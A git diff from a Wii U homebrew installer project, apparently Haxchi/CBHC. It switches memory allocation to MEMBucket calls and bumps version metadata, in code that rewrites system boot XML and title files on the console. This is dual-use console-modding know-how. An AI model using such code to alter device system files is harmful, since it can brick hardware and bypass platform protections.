int gAvailCnt = 0;
parsedList_t *gAvail = (parsedList_t*)malloc(recievedCount*sizeof(parsedList_t));
parsedList_t *gAvail = (parsedList_t*)MEMBucket_alloc(recievedCount*sizeof(parsedList_t), 4);
memset(gAvail, 0, recievedCount*sizeof(parsedList_t));
int i, j;
@ -209,7 +210,8 @@ int Menu_Main(void)
}
OSScreenEnableEx(0, 0);
OSScreenEnableEx(1, 0);
free(screenBuffer);
MEMBucket_free(screenBuffer);
memoryRelease();
return EXIT_SUCCESS;
}
@ -235,7 +237,8 @@ int Menu_Main(void)
{
OSScreenEnableEx(0, 0);
OSScreenEnableEx(1, 0);
free(screenBuffer);
MEMBucket_free(screenBuffer);
memoryRelease();
return EXIT_SUCCESS;
}
if( vpad.btns_h & VPAD_BUTTON_DOWN )
@ -339,7 +342,8 @@ int Menu_Main(void)
{
OSScreenEnableEx(0, 0);
OSScreenEnableEx(1, 0);
free(screenBuffer);
MEMBucket_free(screenBuffer);
memoryRelease();
return EXIT_SUCCESS;
}
//lets go!
@ -409,7 +413,7 @@ int Menu_Main(void)
fileStat_s stats;
IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats);
size_t sysXmlSize = stats.size;
char *sysXmlBuf = malloc(sysXmlSize+1);
char *sysXmlBuf = MEMBucket_alloc(sysXmlSize+1,4);
memset(sysXmlBuf, 0, sysXmlSize+1);
fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize);
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
@ -430,7 +434,7 @@ int Menu_Main(void)
}
}
xmlFreeDoc(doc);
free(sysXmlBuf);
MEMBucket_free(sysXmlBuf);
if(idFound != 1)
println(line++,"default_title_id missing!");
else if(idCorrect != 1)
@ -443,7 +447,7 @@ int Menu_Main(void)
fileStat_s stats;
IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats);
size_t sysXmlSize = stats.size;
sysXmlBuf = malloc(sysXmlSize+1);
sysXmlBuf = MEMBucket_alloc(sysXmlSize+1,4);
memset(sysXmlBuf, 0, sysXmlSize+1);
fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize);
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
@ -479,7 +483,7 @@ int Menu_Main(void)
println(line++,"Removed coldboothax!");
}
}
free(sysXmlBuf);
MEMBucket_free(sysXmlBuf);
}
else
println(line++,"syshax.xml backup not found, aborting!");
@ -530,7 +534,7 @@ int Menu_Main(void)
fileStat_s stats;
IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats);
size_t cfgSize = stats.size;
uint8_t *cfgBuf = malloc(cfgSize);
uint8_t *cfgBuf = MEMBucket_alloc(cfgSize,4);
fsa_read(fsaFd, sdFd, cfgBuf, cfgSize);
IOSUHAX_FSA_CloseFile(fsaFd, sdFd);
sdFd = -1;
@ -545,7 +549,7 @@ int Menu_Main(void)
//make it readable by game
IOSUHAX_FSA_ChangeMode(fsaFd, path, 0x644);
}
free(cfgBuf);
MEMBucket_free(cfgBuf);
}
#endif
@ -556,7 +560,7 @@ int Menu_Main(void)
fileStat_s stats;
IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats);
size_t titleSize = stats.size;
xmlChar *titleBuf = malloc(titleSize+1);
xmlChar *titleBuf = MEMBucket_alloc(titleSize+1,4);
memset(titleBuf, 0, titleSize+1);
fsa_read(fsaFd, sdFd, titleBuf, titleSize);
IOSUHAX_FSA_CloseFile(fsaFd, sdFd);
@ -566,7 +570,7 @@ int Menu_Main(void)
{
IOSUHAX_FSA_StatFile(fsaFd, mlcFd, &stats);
size_t metaSize = stats.size;
char *metaBuf = malloc(metaSize);
char *metaBuf = MEMBucket_alloc(metaSize,4);
fsa_read(fsaFd, mlcFd, metaBuf, metaSize);
IOSUHAX_FSA_CloseFile(fsaFd, mlcFd);
mlcFd = -1;
@ -612,9 +616,9 @@ int Menu_Main(void)
}
free(newXml);
}
free(metaBuf);
MEMBucket_free(metaBuf);
}
free(titleBuf);
MEMBucket_free(titleBuf);
}
sprintf(sdPath,"%s/bootDrcTex.tga",sdHaxchiPath);
@ -624,7 +628,7 @@ int Menu_Main(void)
fileStat_s stats;
IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats);
size_t bootDrcTexSize = stats.size;
uint8_t *bootDrcTex = malloc(bootDrcTexSize);
uint8_t *bootDrcTex = MEMBucket_alloc(bootDrcTexSize,4);
fsa_read(fsaFd, sdFd, bootDrcTex, bootDrcTexSize);
IOSUHAX_FSA_CloseFile(fsaFd, sdFd);
sdFd = -1;
@ -637,7 +641,7 @@ int Menu_Main(void)
IOSUHAX_FSA_CloseFile(fsaFd, mlcFd);
mlcFd = -1;
}
free(bootDrcTex);
MEMBucket_free(bootDrcTex);
}
sprintf(sdPath,"%s/bootTvTex.tga",sdHaxchiPath);
@ -647,7 +651,7 @@ int Menu_Main(void)
fileStat_s stats;
IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats);
size_t bootTvTexSize = stats.size;
uint8_t *bootTvTex = malloc(bootTvTexSize);
uint8_t *bootTvTex = MEMBucket_alloc(bootTvTexSize,4);
fsa_read(fsaFd, sdFd, bootTvTex, bootTvTexSize);
IOSUHAX_FSA_CloseFile(fsaFd, sdFd);
sdFd = -1;
@ -660,7 +664,7 @@ int Menu_Main(void)
IOSUHAX_FSA_CloseFile(fsaFd, mlcFd);
mlcFd = -1;
}
free(bootTvTex);
MEMBucket_free(bootTvTex);
}
sprintf(sdPath,"%s/iconTex.tga",sdHaxchiPath);
@ -670,7 +674,7 @@ int Menu_Main(void)
fileStat_s stats;
IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats);
size_t iconTexSize = stats.size;
uint8_t *iconTex = malloc(iconTexSize);
uint8_t *iconTex = MEMBucket_alloc(iconTexSize,4);
fsa_read(fsaFd, sdFd, iconTex, iconTexSize);
IOSUHAX_FSA_CloseFile(fsaFd, sdFd);
sdFd = -1;
@ -683,7 +687,7 @@ int Menu_Main(void)
IOSUHAX_FSA_CloseFile(fsaFd, mlcFd);
mlcFd = -1;
}
free(iconTex);
MEMBucket_free(iconTex);
}
sprintf(sdPath,"%s/bootSound.btsnd",sdHaxchiPath);
@ -693,7 +697,7 @@ int Menu_Main(void)
fileStat_s stats;
IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats);
size_t bootSoundSize = stats.size;
uint8_t *bootSound = malloc(bootSoundSize);
uint8_t *bootSound = MEMBucket_alloc(bootSoundSize,4);
fsa_read(fsaFd, sdFd, bootSound, bootSoundSize);
IOSUHAX_FSA_CloseFile(fsaFd, sdFd);
sdFd = -1;
@ -706,7 +710,7 @@ int Menu_Main(void)
IOSUHAX_FSA_CloseFile(fsaFd, mlcFd);
mlcFd = -1;
}
free(bootSound);
MEMBucket_free(bootSound);
}
#ifdef CB
@ -716,7 +720,7 @@ int Menu_Main(void)
fileStat_s stats;
IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats);
size_t sysXmlSize = stats.size;
char *sysXmlBuf = malloc(sysXmlSize+1);
char *sysXmlBuf = MEMBucket_alloc(sysXmlSize+1,4);
memset(sysXmlBuf, 0, sysXmlSize+1);
fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize);
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
@ -820,7 +824,7 @@ int Menu_Main(void)
}
}
}
free(sysXmlBuf);
MEMBucket_free(sysXmlBuf);
}
println(line++,"Done installing CBHC!");
#else
@ -828,10 +832,10 @@ int Menu_Main(void)
#endif
prgEnd:
if(tList)
if(tList) //cant be in MEMBucket
free(tList);
if(gAvail)
free(gAvail);
MEMBucket_free(gAvail);
//close down everything fsa related
if(fsaFd >= 0)
{
@ -861,6 +865,7 @@ prgEnd:
SYSLaunchMenu();
OSScreenEnableEx(0, 0);
OSScreenEnableEx(1, 0);
free(screenBuffer);
MEMBucket_free(screenBuffer);
memoryRelease();
return EXIT_RELAUNCH_ON_LOAD;
}

View File

@ -2,9 +2,9 @@
<app version="1">
<name>CBHC</name>
<coder>FIX94</coder>
<version>1.5u1</version>
<version>1.6</version>
<url>https://github.com/FIX94/haxchi</url>
<release_date>20161230200000</release_date>
<release_date>20170113200000</release_date>
<short_description>Coldboot Haxchi Installer</short_description>
<long_description>WARNING! This will install Coldboot Haxchi on your system.
ONLY USE THIS IF YOU ARE WILLING TO TAKE A RISK OF BRICKING YOUR CONSOLE.

View File

@ -2,9 +2,9 @@
<app version="1">
<name>Haxchi</name>
<coder>FIX94</coder>
<version>2.5u1</version>
<version>2.5u2</version>
<url>https://github.com/FIX94/haxchi</url>
<release_date>20161230200000</release_date>
<release_date>20170113200000</release_date>
<short_description>Haxchi Installer</short_description>
<long_description>This will install Haxchi on your system.
</long_description>